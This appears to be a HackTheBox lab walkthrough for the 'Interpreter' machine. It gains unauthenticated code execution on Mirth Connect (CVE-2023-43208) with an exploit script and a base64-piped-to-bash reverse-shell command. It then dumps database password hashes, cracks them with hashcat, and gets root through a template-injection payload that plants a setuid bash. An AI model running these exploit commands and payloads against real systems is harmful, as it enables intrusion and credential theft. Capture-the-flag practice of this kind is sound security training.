Interpreter writeup & walkthrough

Interpreter is a medium HackTheBox Linux machine exploiting Mirth Connect by NextGen Healthcare (CVE-2023-37679 / CVE-2023-43208) to get unauthenticated RCE.

HackTheBox - Interpreter

Access Path

no access => sedric => root

The walkthrough is organized around this escalation path: first gaining access, then explaining the key evidence or misconfiguration that moves the attack to the next privilege level. ---

Initial Foothold

Port 443 - Mirth Connect:

# Mirth Connect by NextGen Healthcare v4.4.0
# CVE-2023-37679 / CVE-2023-43208
# Endpoint: /api/#/Users/createUser

Mirth Connect RCE

Automatic Exploitation:

python3 cve-2023-43208.py -c "revshell"

Manual Exploitation (IFS bypass):

# Base64-encode your revshell payload first, then:
bash -c echo${IFS}[base64]|base64${IFS}-d|bash

Post-Exploitation - Mirth Config

Read Mirth Properties:

cat /usr/local/mirthconnect/conf/mirth.properties

Database Access:

mysql -u mirthdb -p'' mc_bdd_prod
show tables;
select * from PERSON_PASSWORD\G

Hash Cracking - Mirth PBKDF2

Convert Mirth hash → PBKDF2WithHmacSHA256:

Reference: https://github.com/nextgenhealthcare/connect/wiki/4.4.0---Upgrade-Guide

# Extract salt (first 8 bytes)
echo [pass] |base64-d| head -c 8|base64

# Extract password hash (everything after byte 8, base64-encoded)
echo [thepassfromabove] | base64 -d | tail -c +9 | base64

# Note: use echo -n if newline causes issues

Format for hashcat:

sha256:600000:[salt]:[passhash]

hashcat -m 10900 -w 3 hash.txt wordlist.txt
# Cracked user: sedric

Privilege Escalation - SSTI in notif.py

Process Discovery:

ps aux --forest
# We see notif.py running; suspicious internal service

Testing the Endpoint:

curl localhost:54321/addPatient \
  -H 'Content-Type: whatever' \
  -d '<patient>
    <firstname>first</firstname>
    <lastname>last</lastname>
    <sender_app>app</sender_app>
    <timestamp>4444</timestamp>
    <birth_date>01/01/2003</birth_date>
    <gender>f</gender>
  </patient>'

SSTI Exploitation via gender field (base64-encoded payload):

# Payload: cp /bin/bash /tmp/strikoder; chown root:root /tmp/strikoder; chmod 6777 /tmp/strikoder
curl localhost:54321/addPatient \
  -H 'Content-Type: whatever' \
  -d '<patient>
    <firstname>first</firstname>
    <lastname>last</lastname>
    <sender_app>app</sender_app>
    <timestamp>4444</timestamp>
    <birth_date>01/01/2003</birth_date>
    <gender>{__import__("os").popen(__import__("base64").b64decode("Y3AgL2Jpbi9iYXNoIC90bXAvc3RyaWtvZGVyOyBjaG93biByb290OnJvb3QgL3RtcC9zdHJpa29kZXI7IGNobW9kIDY3NzcgL3RtcC9zdHJpa29kZXIK").decode()).read()}</gender>
  </patient>'

Get Root Shell:

/tmp/strikoder -p